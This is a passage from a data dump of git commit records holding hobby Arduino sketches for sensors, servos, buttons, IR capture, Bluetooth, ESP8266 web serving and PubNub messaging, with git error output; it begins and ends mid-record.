Serial.print(\"ERR:DS18B20_FATAL_ERROR_\");\n Serial.println(ds18_err);\n }\n}\n\nvoid loop()\n{\n int chk;\n unsigned long currMillis = millis();\n \n \/\/ READ DATA FROM SENSORS\n if (currMillis - prevMillis_sensors > sensors_interval) {\n prevMillis_sensors = currMillis;\n \/\/ TURN ON LED\n digitalWrite(LED, HIGH);\n \/\/ READ DATA FROM DS18B20+ SENSORS\n if (!getTempDS18B20()) {\n Serial.print(\"ERR:DS18B20_ERROR_\");\n Serial.println(ds18_err);\n }\n \/\/ READ DATA FROM DHT11 SENSORS\n chk = DHT.read11(DHT11_PIN);\n switch (chk)\n {\n case DHTLIB_OK:\n break;\n case DHTLIB_ERROR_CHECKSUM: \n Serial.println(\"Checksum_error\"); \n break;\n case DHTLIB_ERROR_TIMEOUT: \n Serial.println(\"Time_out_error\"); \n break;\n default: \n Serial.println(\"Unknown_error\"); \n break;\n }\n \/\/ TURN OFF LED\n digitalWrite(LED, LOW);\n \/\/ inc count\n data_read_count++;\n \/\/ sum values\n ds18_temp_mid += ds18_temp;\n DHT_temp_mid += DHT.temperature;\n humid_mid += DHT.humidity;\n }\n \n \/\/ SEND DATA\n if (currMillis - prevMillis_sending > sending_interval) {\n prevMillis_sending = currMillis;\n \n \/* Uncomment if you don't wont send mid values\n Serial.print(ds18_temp, 2);\n Serial.print(',');\n Serial.print((int) DHT.temperature);\n Serial.print(',');\n Serial.println((int) DHT.humidity); *\/\n \n \/\/ send\n Serial.print((float) ds18_temp_mid\/data_read_count, 2);\n Serial.print(',');\n Serial.print((float) DHT_temp_mid\/data_read_count, 2);\n Serial.print(',');\n Serial.println((float) humid_mid\/data_read_count, 2);\n \n \/\/ zero values and counter\n ds18_temp_mid = 0; DHT_temp_mid = 0; humid_mid = 0;\n data_read_count = 0;\n }\n \n \/\/ SHOW DATA\n if (currMillis - prevMillis_lcd > lcd_interval) {\n prevMillis_lcd = currMillis;\n \/\/ Convert double to char\n dtostrf(ds18_temp, 3, 2, ds18_tempS);\n \/\/ Print temp on LCD\n lcd.setCursor(0, 0);\n if (!temp12) {\n lcd.print(\"Temp1: \");\n lcd.print((int) DHT.temperature);\n lcd.print(\" \\x99\"\"C \");\n temp12 = 1;\n } else {\n lcd.print(\"Temp2: \");\n lcd.print(ds18_tempS);\n lcd.print(\" \\x99\"\"C\");\n temp12 = 0;\n }\n \/\/ Print humidity on LCD\n lcd.setCursor(0, 1);\n lcd.print(\"Humid: \");\n lcd.print((int) DHT.humidity);\n lcd.print(\" %\");\n }\n}\n\nboolean getTempDS18B20()\n{\n byte i;\n byte data[12];\n \n ds.reset();\n ds.select(addr);\n ds.write(0x44, 0); \/\/ start conversion, without parasite power\n delay(1000); \/\/ delay must be >750ms\n \n ds.reset();\n ds.select(addr);\n ds.write(0xBE); \/\/read scratchpad\n \n for (i = 0; i < 9; i++) {\n data[i] = ds.read();\n }\n \/\/ check CRC\n if (OneWire::crc8(data, 8) != data[8]) {\n ds18_err = CRC_SCRATCH_FAIL;\n return false;\n }\n \n ds18_temp = ((data[1] << 8) + data[0])*0.0625; \/\/ convert temperaturen\n \n return true;\n}\n\nboolean getAddrDS18B20()\n{\n byte i;\n i = 0;\n while(!ds.search(addr)) {\n ds.reset_search();\n i++;\n if (i == DS18B20_TRYOUT) {\n ds18_err = NOT_FOUND;\n return false;\n }\n delay(250);\n }\n \n if (OneWire::crc8(addr, 7) != addr[7]) {\n ds18_err = CRC_ADDR_FAIL;\n return false;\n }\n \n if (addr[0] != DS18B20_ID) {\n ds18_err = NOT_DS18B20_DEV;\n return false;\n }\n \n return true;\n}\n\/\/\n\/\/ END OF FILE\n\/\/\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MStation\/MStation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cb0ad1084f941fe213b92ce66de0f519b5c7016d","subject":"Add button firmware","message":"Add button firmware\n","repos":"kkestell\/photo-booth,kkestell\/photo-booth","old_file":"button.ino","new_file":"button.ino","new_contents":"#include <TrinketKeyboard.h>\n\n#define PIN_BUTTON_CAPTURE 0\n#define PIN_BUTTON_RESET 2\n \nvoid setup()\n{\n pinMode(PIN_BUTTON_CAPTURE, INPUT);\n pinMode(PIN_BUTTON_RESET, INPUT);\n \n digitalWrite(PIN_BUTTON_CAPTURE, LOW);\n digitalWrite(PIN_BUTTON_RESET, LOW);\n\n TrinketKeyboard.begin();\n}\n\nvoid doze(int ms)\n{\n unsigned long start = millis();\n while(millis() < start + ms) {\n TrinketKeyboard.poll();\n delay(8);\n }\n}\n \nvoid loop() \n{\n \/\/ The poll function must be called at least once every 10 ms\n \/\/ or cause a keystroke if it is not, then the computer may\n \/\/ think that the device has stopped working, and give errors\n TrinketKeyboard.poll();\n \n if (digitalRead(PIN_BUTTON_CAPTURE) == HIGH) {\n TrinketKeyboard.print(\"capture\\n\");\n doze(10000);\n }\n \n if (digitalRead(PIN_BUTTON_RESET) == HIGH) {\n TrinketKeyboard.print(\"reset\\n\");\n doze(10000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'button.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e85518d523c44a359e998eb399f7ee1ec2fb26e8","subject":"Value based triggers","message":"Value based triggers\n\nredid some timing and threshold values\n","repos":"CyrusRoshan\/WristWatch,CyrusRoshan\/WristWatch,CyrusRoshan\/WristWatch","old_file":"wrist_watch_value_trigger.ino","new_file":"wrist_watch_value_trigger.ino","new_contents":"#include <RunningAverage.h>\n\nRunningAverage myRA(30);\nint samples = 0;\nint motorPin = 12; \nint sensorValue = 0; \/\/ the sensor value\nint sensorMin = 1023; \/\/ minimum sensor value\nint sensorMax = 0; \nint runavg;\nvoid setup() {\n Serial.begin(9600);\n pinMode(12, OUTPUT);\n pinMode(13, OUTPUT);\n digitalWrite(13, HIGH);\n Serial.println(\"Calibrating\");\n \/\/ calibrate during the first five seconds\n while (millis() < 6000) {\n sensorValue = analogRead(A0);\n\n \/\/ record the maximum sensor value\n if (sensorValue > sensorMax) {\n sensorMax = sensorValue;\n }\n\n \/\/ record the minimum sensor value\n if (sensorValue < sensorMin) {\n sensorMin = sensorValue;\n }\n }\n\n \/\/ signal the end of the calibration period\n digitalWrite(13, LOW);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n\/\/ int UpperValue = analogRead(A5);\n\/\/ int LowerValue = analogRead(A0);\n\/\/ int MidValue = analogRead(A3);\n\/\/ \n\/\/ Serial.print(UpperValue);\n\/\/ Serial.print(\",\");\n\/\/ Serial.print(MidValue);\n\/\/ Serial.print(\",\");\n\/\/ read the sensor:\n sensorValue = analogRead(A0);\n\n \/\/ apply the calibration to the sensor reading\n sensorValue = map(sensorValue, sensorMin, sensorMax, 0, 255);\n\n \/\/ in case the sensor value is outside the range seen during calibrations\n sensorValue = constrain(sensorValue, 0, 255);\n\n\n \n long rn = sensorValue;\n myRA.addValue(rn);\n samples++;\n Serial.print(\"Running Average: \");\n Serial.println(myRA.getAverage(), 3);\n runavg = myRA.getAverage();\n if ( runavg >= 170)\n {\n digitalWrite(motorPin, HIGH);\n }\n if (sensorValue < 170)\n {\n digitalWrite(motorPin, LOW);\n }\n\n if (samples == 600)\n {\n samples = 0;\n myRA.clear();\n }\n delay(100);\n\n Serial.println(sensorValue);\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'wrist_watch_value_trigger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0d65b879e45643c81bd91e3a444c5bbff5a90bc0","subject":"Create motori_ard.ino","message":"Create motori_ard.ino","repos":"dsii-2016-unirsm\/dsii-2016-archive,dsii-2016-unirsm\/dsii-2016-archive","old_file":"gpinna\/PROGETTO_INVISIBILE\/motori_ard.ino","new_file":"gpinna\/PROGETTO_INVISIBILE\/motori_ard.ino","new_contents":"#include <Servo.h>\n\nServo myservo; \/\/ create servo object to control a servo\n\/\/ twelve servo objects can be created on most boards\n\nint pos = 0; \/\/ variable to store the servo position\n\nvoid setup() {\n myservo.attach(10); \/\/ attaches the servo on pin 9 to the servo object\n\n pinMode (11, OUTPUT);\n pinMode (2, INPUT);\n pinMode (8, OUTPUT);\n pinMode (13, OUTPUT);\n }\n\nvoid loop() {\n\n\nint bottone = digitalRead (2);\nif (bottone == LOW)\n{\n \n\ndigitalWrite(8, LOW); \/\/stop\n\n analogWrite (11, 255); \/\/velocit\u00e0\n delay(100);\n\n digitalWrite(8, HIGH); \/\/stop\n\n analogWrite (11, 255); \/\/velocit\u00e0\n delay(1);\n }\n \n \/*\n \n for (pos = 0; pos <= 45; pos += 1) { \/\/ goes from 0 degrees to 180 degrees\n \/\/ in steps of 1 degree\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(15); \/\/ waits 15ms for the servo to reach the position\n }\n for (pos = 45; pos >= 0; pos -= 1) { \/\/ goes from 180 degrees to 0 degrees\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(15); \/\/ waits 15ms for the servo to reach the position\n }\n*\/\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'gpinna\/PROGETTO_INVISIBILE\/motori_ard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fd16465193dbfe96441819362c14a331c4dd444e","subject":"not sure why this doesn't work","message":"not sure why this doesn't work\n","repos":"TaylorHokanson\/CAAint","old_file":"TTGO\/Code\/ESP Now\/ESP32_Now_slaveclock3_millis\/ESP32_Now_slaveclock3_millis.ino","new_file":"TTGO\/Code\/ESP Now\/ESP32_Now_slaveclock3_millis\/ESP32_Now_slaveclock3_millis.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'TTGO\/Code\/ESP' did not match any file(s) known to git\nerror: pathspec 'Now\/ESP32_Now_slaveclock3_millis\/ESP32_Now_slaveclock3_millis.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"550157663f57fac54c194e31cbda0432064d65e6","subject":"establish NTP packet send and receive","message":"establish NTP packet send and receive\n","repos":"cwilkens\/helioscope-lamp","old_file":"helioscope\/helioscope.ino","new_file":"helioscope\/helioscope.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwilkens\/helioscope-lamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"aa70c3bb7bc9c460fef822421dd200817e5c7aa0","subject":"signal decoder added","message":"signal decoder added\n","repos":"marcass\/Heatpump_IRremote_nodemcu,marcass\/Heatpump_IRremote_nodemcu","old_file":"long_signal.ino","new_file":"long_signal.ino","new_contents":"\/*\nAuthor: AnalysIR\nRevision: 1.0\n\nThis code is provided to overcome an issue with Arduino IR libraries\nIt allows you to capture raw timings for signals longer than 255 marks & spaces.\nTypical use case is for long Air conditioner signals.\n\nYou can use the output to plug back into IRremote, to resend the signal.\n\nThis Software was written by AnalysIR.\n\nUsage: Free to use, subject to conditions posted on blog below.\nPlease credit AnalysIR and provide a link to our website\/blog, where possible.\n\nCopyright AnalysIR 2014\n\nPlease refer to the blog posting for conditions associated with use.\nhttp:\/\/www.analysir.com\/blog\/2014\/03\/19\/air-conditioners-problems-recording-long-infrared-remote-control-signals-arduino\/\n\nConnections:\nIR Receiver Arduino\nV+ -> +5v\nGND -> GND\nSignal Out -> Digital Pin 2\n(If using a 3V Arduino, you may connect V+ to +3V)\n*\/\n\n#define LEDPIN 13\n\/\/you may increase this value on Arduinos with greater than 2k SRAM\n#define maxLen 800\n\nvolatile unsigned int irBuffer[maxLen]; \/\/stores timings - volatile because changed by ISR\nvolatile unsigned int x = 0; \/\/Pointer thru irBuffer - volatile because changed by ISR\n\nvoid setup() {\n Serial.begin(115200); \/\/change BAUD rate as required\n attachInterrupt(0, rxIR_Interrupt_Handler, CHANGE);\/\/set up ISR for receiving IR signal\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n Serial.println(F(\"Press the button on the remote now - once only\"));\n delay(5000); \/\/ pause 5 secs\n if (x) { \/\/if a signal is captured\n digitalWrite(LEDPIN, HIGH);\/\/visual indicator that signal received\n Serial.println();\n Serial.print(F(\"Raw: (\")); \/\/dump raw header format - for library\n Serial.print((x - 1));\n Serial.print(F(\") \"));\n detachInterrupt(0);\/\/stop interrupts & capture until finshed here\n for (int i = 1; i < x; i++) { \/\/now dump the times\n if (!(i & 0x1)) Serial.print(F(\"-\"));\n Serial.print(irBuffer[i] - irBuffer[i - 1]);\n Serial.print(F(\", \"));\n }\n x = 0;\n Serial.println();\n Serial.println();\n digitalWrite(LEDPIN, LOW);\/\/end of visual indicator, for this time\n attachInterrupt(0, rxIR_Interrupt_Handler, CHANGE);\/\/re-enable ISR for receiving IR signal\n }\n\n}\n\nvoid rxIR_Interrupt_Handler() {\n if (x > maxLen) return; \/\/ignore if irBuffer is already full\n irBuffer[x++] = micros(); \/\/just continually record the time-stamp of signal transitions\n\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'long_signal.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"160fd35344c076cbe35945664678ac617b1a3d2f","subject":"Arduino Code added to project","message":"Arduino Code added to project\n","repos":"Obrelix\/Arduino-Radar-UI-.NET","old_file":"radarSimple\/radarSimple.ino","new_file":"radarSimple\/radarSimple.ino","new_contents":"\/\/ Includes the Servo library\n#include <Servo.h>\n\/\/ Defines Tirg and Echo pins of the Ultrasonic Sensor and Servo pin\nconst int trigPin = 11, echoPin = 10, servoPin = 2;\n\nlong distance , duration= 0;\nint Angle = 10, turnLeft = 1;\n\nServo myServo; \/\/ Creates a servo object to controll the servo motor\n\nvoid setup() {\n pinMode(trigPin, OUTPUT); \/\/ Sets the trigPin as an Output\n pinMode(echoPin, INPUT); \/\/ Sets the echoPin as an Input\n Serial.begin(9600); \/\/Begin a sirial communication with Arduino Ide\n myServo.attach(servoPin); \/\/ Defines on which pin is the servo motor attached\n}\n\nvoid loop() {\n\n\/\/ myServo.write(90);\n \/\/ rotates the servo motor from 15 to 165 degrees\n if (Angle < 170 && turnLeft) Angle ++;\n else if (Angle >= 170 || !turnLeft)\n {\n turnLeft = (Angle <= 10);\n Angle--;\n }\n myServo.write(Angle);\n serialPrint();\n delay(25);\n distance = calculateDistance();\n}\n\n\/\/ Function for calculating the distance measured by the Ultrasonic sensor\nlong calculateDistance(){ \n \/\/cleat the trigPin to begin the measurment\n digitalWrite(trigPin, LOW); \n delayMicroseconds(2);\n \/\/ Sets the trigPin on HIGH state for 10 micro seconds\n digitalWrite(trigPin, HIGH); \n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\n duration = pulseIn(echoPin, HIGH); \/\/ Reads the echoPin, returns the sound wave travel time in microseconds\n \/\/U(m\/s)=dX(m)\/dT(s) \n \/\/in this case Duration(time)= 2*Distance\/SpeedOfSound=> \n \/\/Distance=SpeedOfSound*Duration\/2\n \/\/ In dry air at 20 \u00b0C, the speed of sound is 343.2 m\/s or 0.003432 m\/Microsecond or 0,03434 cm\/Microseconds\n return duration*0.034\/2;\n}\n\nvoid serialPrint(){\n Serial.print(Angle); \/\/ Sends the current degree into the Serial Port\n Serial.print(\",\"); \/\/ Sends addition character right next to the previous value needed later in the Processing IDE for indexing\n Serial.print(distance); \/\/ Sends the distance value into the Serial Port\n Serial.print(\".\\n\"); \/\/ Sends addition character right next to the previous value needed later in the Processing IDE for indexing\n }\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'radarSimple\/radarSimple.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c3a57454283c79b2e1f23776966fd936df734e48","subject":"Some basic time measuring code to determine how many microseconds some operations take, like digitalRead, analogRead and the likes.","message":"Some basic time measuring code to determine how many microseconds some operations take, like digitalRead, analogRead and the likes.\n","repos":"janunezc\/GALILEO,janunezc\/GALILEO,janunezc\/GALILEO","old_file":"demo_measure_timings\/demo_measure_timings.ino","new_file":"demo_measure_timings\/demo_measure_timings.ino","new_contents":"void setup() {\n pinMode(11,OUTPUT);\n pinMode(3, OUTPUT);\n}\n\nlong timing = 0;\nvoid loop() {\n \n Serial.println(\"-------- BEGIN LOOP --------\"); \n \n Serial.println(\"Measuring ReadDigital() on pin 11\");\n timing = measureReadDigital(11);\n Serial.println(timing);\n \n\n Serial.println(\"Measuring ReadDigital() on pin 3\");\n timing = measureReadDigital(3);\n Serial.println(timing);\n \n Serial.println(\"Measuring AnalogRead() on A0\");\n timing = measureAnalogRead(A0);\n Serial.println(timing); \n \n Serial.println(\"Measuring VAR Declaration (int)\");\n timing = measureVarDeclaration();\n Serial.println(timing); \n\n Serial.println(\"-------- END LOOP --------\"); \n delay(3000);\n \n}\n\nlong measureVarDeclaration (){\n int val = 0;\n long diff = 0;\n long initialTime = 0;\n \/*-----------------*\/\n initialTime = micros();\n int newvar;\n return micros() - initialTime;\n}\n\nlong measureReadDigital (int pin){\n int val = 0;\n long diff = 0;\n long initialTime = 0;\n \/*-----------------*\/\n initialTime = micros();\n val = digitalRead(pin);\n return micros() - initialTime;\n}\n\nlong measureAnalogRead (int pin){\n int val = 0;\n long diff = 0;\n long initialTime = 0;\n \/*-----------------*\/\n initialTime = micros();\n val = analogRead(A3);\n diff = micros() - initialTime;\n \/*-----------------*\/\n \n Serial.println(val);\n return diff;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'demo_measure_timings\/demo_measure_timings.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aee447213ee3576d9b41dee37dba76474bfed277","subject":"adding a bluetoothDemo using in arduino meag","message":"adding a bluetoothDemo using in arduino meag\n","repos":"mck-dajiao\/709No2","old_file":"bluetoothDemo\/bluetoothDemo.ino","new_file":"bluetoothDemo\/bluetoothDemo.ino","new_contents":"\/*\n Testing a bluetooth module\nDate :\t\t2013\/11\/10\nAuthor:\t\tdajiao\nFile :\t\tbluetoothDemo.ino\n\nAddition:\n\tOnly for arduino mega which has 3 serial port in the board.\n\tSerial for the Serial Monitor in Arduino IDE\n\tSerial1\/2\/3 for the real serial port in a arduino board\n\n*\/\n\nconst int led = 13;\t\t\/\/ set the 13 as working light\nint i, j;\t\/\/ pointer for reading from Serial\nchar buffer[100];\t\t\/\/ set up the buffer for reading \n\nvoid setup(){\n\tSerial.begin(9600);\t\t\/\/ initialize the serial monitor with 9600\n\tSerial1.begin(9600);\t\/\/ initialize the NO.1 serial port in board\n\tpinMode(led, OUTPUT);\t\/\/ set a led light when working\n\tSerial1.println(\"AT+NAMEdajiao\");\t\/\/ set up id for bluetooth module\n}\n\nvoid loop(){\n\tif(Serial1.available()>0){\n\n\t\ti = j = 0;\n\t\t\/\/ read from bluetooth(Serial)\n\t\twhile(Serial1.available()>0){\n\t\t\tbuffer[i] = Serial1.read();\t\n\t\t\ti++;\n\t\t\tdelay(2);\n\t\t\tdigitalWrite(led, HIGH);\n\t\t}\n\n\t\tbuffer[i] = '\\0';\n\t\tdelay(1000);\n\t\tdigitalWrite(led, LOW);\n\t\t\/\/ print the current string\n\t\tfor(j = 0; j< i; j++){\n\t\t\tSerial.print(buffer[j]);\n\t\t}\n\n\t\tSerial.println();\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bluetoothDemo\/bluetoothDemo.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0d930dd7e4f6500dfd548e39cc1770ed94c9ed8f","subject":"ESP8266 WebServer connected to a MPU-6050","message":"ESP8266 WebServer connected to a MPU-6050\n\nVery basic ESP8266 sketch to show different methods to listen to http POST requests, unpacking json data, reading and writing to a i2c device and returning data.","repos":"MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab","old_file":"home\/Mats\/ESP8266_MPU605.ino","new_file":"home\/Mats\/ESP8266_MPU605.ino","new_contents":"\/*\n * This sketch demonstrates how to get the parameters from a http POST request from an ESP8266-01\n https:\/\/www.youtube.com\/watch?v=Edbxyl2BhyU\n https:\/\/www.youtube.com\/watch?v=hP3xQtrRMmQ&t=33s\n It also contains code to write and read data from an i2c device\n In this case a MPU-6050 accelerometer and gyro\n This sketch is just a very basic prototype to help people get started with the ESP8266 \n *\/\n\n#include <ESP8266WiFi.h>\n#include <ESP8266WebServer.h>\n#include <ArduinoJson.h>\n#include<Wire.h>\n#include<stdlib.h>\n\nESP8266WebServer server;\n\nconst char* ssid = \"your-wifi-router-ssid\";\nconst char* password = \"your.wifi-router-password\";\nconst int MPU_addr=0x68; \/\/ I2C address of the MPU-6050\nint16_t AcX,AcY,AcZ,Tmp,GyX,GyY,GyZ;\nfloat Temp;\n\nconst String AccXLabel = \"\\\"AccX\\\":\";\nconst String AccYLabel = \"\\\"AccY\\\":\";\nconst String AccZLabel = \"\\\"AccZ\\\":\";\nconst String GyroXLabel = \"\\\"GyroX\\\":\";\nconst String GyroYLabel = \"\\\"GyroY\\\":\";\nconst String GyroZLabel = \"\\\"GyroZ\\\":\";\nconst String TempLabel = \"\\\"Temperature\\\":\";\n\nString pinStatus = \"on\";\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n \n \/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n \n \/\/ Print the IP address\n Serial.println(WiFi.localIP());\n\n \/\/ Setup the different response methods\n server.on(\"\/\",[](){server.send(200, \"text\/html\", \"Welcome to <b>ESP8266<\/b> and the <b>MPU-6050<\/b>\");});\n server.on(\"\/toggle\",toggleLED);\n server.on(\"\/pantilt\",setPanTilt);\n server.on(\"\/getMPU6050\",getMPU6050);\n \n \/\/ Initiate the i2c Bus and wake the MPU-6050 up from sleep mode\n Wire.begin(0,2);\n Wire.beginTransmission(MPU_addr);\n Wire.write(0x6B); \/\/ PWR_MGMT_1 register\n Wire.write(0); \/\/ set to zero (wakes up the MPU-6050)\n Wire.endTransmission(true);\n \n \/\/ Start the server\n server.begin();\n Serial.println(\"Server started\");\n}\n\nvoid loop() {\n\n server.handleClient();\n}\nvoid toggleLED()\n{\n if (pinStatus == \"on\"){\n pinStatus = \"off\";\n }\n else {\n pinStatus = \"on\";\n }\n server.send(200, \"text\/plain\", \"Toggling LED \" + pinStatus);\n \/\/ 204 = Empty response\n \/\/ server.send(\"204\",\"\"); \n}\n\nvoid setPanTilt()\n{\n String data = server.arg(\"plain\");\n StaticJsonBuffer<200> jBuffer;\n JsonObject& jObject = jBuffer.parseObject(data);\n String pan = jObject[\"pan\"]; \n String tilt = jObject[\"tilt\"]; \n server.send(200, \"text\/plain\", \"Pan = \" + pan + \" Tilt = \" + tilt);\n}\n\nvoid getMPU6050()\n{\n Wire.beginTransmission(MPU_addr);\n Wire.write(0x3B); \/\/ starting with register 0x3B (ACCEL_XOUT_H)\n Wire.endTransmission(false);\n Wire.requestFrom(MPU_addr,14,true); \/\/ request a total of 14 registers\n AcX=Wire.read()<<8|Wire.read(); \/\/ 0x3B (ACCEL_XOUT_H) & 0x3C (ACCEL_XOUT_L) \n AcY=Wire.read()<<8|Wire.read(); \/\/ 0x3D (ACCEL_YOUT_H) & 0x3E (ACCEL_YOUT_L)\n AcZ=Wire.read()<<8|Wire.read(); \/\/ 0x3F (ACCEL_ZOUT_H) & 0x40 (ACCEL_ZOUT_L)\n Tmp=Wire.read()<<8|Wire.read(); \/\/ 0x41 (TEMP_OUT_H) & 0x42 (TEMP_OUT_L)\n GyX=Wire.read()<<8|Wire.read(); \/\/ 0x43 (GYRO_XOUT_H) & 0x44 (GYRO_XOUT_L)\n GyY=Wire.read()<<8|Wire.read(); \/\/ 0x45 (GYRO_YOUT_H) & 0x46 (GYRO_YOUT_L)\n GyZ=Wire.read()<<8|Wire.read(); \/\/ 0x47 (GYRO_ZOUT_H) & 0x48 (GYRO_ZOUT_L)\n\n float Temp;\n Temp = Tmp\/340.00+36.53;\n char Temperature[5];\n dtostrf(Temp,4,1,Temperature);\n\n String AccelX = String(AcX, DEC);\n String AccelY = String(AcY, DEC);\n String AccelZ = String(AcZ, DEC);\n\n String GyroX = String(GyX, DEC);\n String GyroY = String(GyY, DEC);\n String GyroZ = String(GyZ, DEC);\n\n String message = \"{\" +\n TempLabel + Temperature + \",\" +\n AccXLabel + AccelX + \",\" +\n AccYLabel + AccelY + \",\" +\n AccZLabel + AccelZ + \",\" +\n GyroXLabel + GyroX + \",\" +\n GyroYLabel + GyroY + \",\" +\n GyroZLabel + GyroZ + \n \"}\";\n \n server.send(200, \"application\/json\", message);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home\/Mats\/ESP8266_MPU605.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"187151610bc58092c7e40fc664ab034f06ef3318","subject":"added check to nduino for empty transmission","message":"added check to nduino for empty transmission\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"96d19590a7a3d529bd2782849d1a389a91206599","subject":"Removed serial print outs.","message":"Removed serial print outs.\n","repos":"timkettering\/TabernacleDisplay,timkettering\/TabernacleDisplay,timkettering\/TabernacleDisplay","old_file":"src\/TabernacleDisplay.ino","new_file":"src\/TabernacleDisplay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/timkettering\/TabernacleDisplay.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e9f515af5be223f19f5644baa4c597002ded2eea","subject":"example code","message":"example code\n","repos":"hdznrrd\/FourWireResistiveTouchscreen","old_file":"examples\/SerialTouchscreen\/SerialTouchscreen.ino","new_file":"examples\/SerialTouchscreen\/SerialTouchscreen.ino","new_contents":"#include <FourWireResistiveTouchscreen.h>\n\nFourWireResistiveTouchscreen ts(3, 1, 0, 2);\n\nvoid setup()\n{\n Serial.begin(115200);\n}\n\nvoid loop()\n{\n \n int coordssum[3] = {0,0,0};\n FourWireResistiveTouchscreen::Measurement m = {0,0,0};\n \n \/\/ discard one\n ts.getPosition(m);\n \n \/\/ ensure that we have 4 successfull samples with finger-down state\n byte samples = 4;\n while(samples > 0)\n {\n ts.getPosition(m);\n \n if(m.pressure > 300)\n {\n coordssum[0] += m.x;\n coordssum[1] += m.y;\n coordssum[2] += m.pressure;\n }\n else\n {\n \/\/ finger was lifted, start over \n return;\n }\n \n --samples;\n }\n \n \/\/ report x,y,pressure\n Serial.print(coordssum[0]\/4);\n Serial.print(\",\");\n Serial.print(coordssum[1]\/4);\n Serial.print(\",\");\n Serial.println(coordssum[2]\/4);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SerialTouchscreen\/SerialTouchscreen.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e2314fc08caf1d2a0ef7fa39bb63867dcfd6adbb","subject":"Added first example that uses L-ONE onboard wifi","message":"Added first example that uses L-ONE onboard wifi\n","repos":"pubnub\/LinkItONE","old_file":"examples\/PubNubWifi.ino","new_file":"examples\/PubNubWifi.ino","new_contents":"\/*\nPubNub sample client\n\nThis sample client will use just the minimal-footprint raw PubNub\ninterface where it is your responsibility to deal with the JSON encoding.\n\nIt will just send a hello world message and retrieve one back, reporting\nits deeds on serial console.\n\nhttps:\/\/github.com\/pubnub\/LinkItONE\n\nThis code is in the public domain.\n*\/\n\n#include \"SPI.h\"\n \n#include \"PubNub.h\"\n#include <LWiFi.h>\n \n\n\/\/#include \"LWiFi\\LWiFiClient.h\"\n#include <LWiFiClient.h>\n\n\n#define WIFI_AP \"RP95\" \/\/ provide your WIFI_AP name\n#define WIFI_PASSWORD \"355972054522595\" \/\/provide your WIFI password\n#define WIFI_AUTH LWIFI_WPA\n\nconst int subLedPin = 10;\nconst int pubLedPin = 13;\n\nchar pubkey[] = \"demo\";\nchar subkey[] = \"demo\";\nchar channel[] = \"hello_world\";\n\nvoid setup()\n{\n\n pinMode(subLedPin, OUTPUT);\n pinMode(pubLedPin, OUTPUT);\n digitalWrite(subLedPin, LOW);\n digitalWrite(pubLedPin, LOW);\n\n Serial.begin(9600);\n Serial.println(\"Serial set up\");\n\n \n Serial.println(\"Connecting to AP\");\n while (0 == LWiFi.connect(WIFI_AP, LWiFiLoginInfo(WIFI_AUTH, WIFI_PASSWORD)))\n {\n Serial.println(\" . \");\n delay(1000);\n }\n Serial.println(\"Connected to AP\"); \n\n PubNub.begin(pubkey, subkey);\n Serial.println(\"PubNub set up\");\n}\n\nvoid flash(int ledPin)\n{\n \/* Flash LED three times. *\/\n for (int i = 0; i < 3; 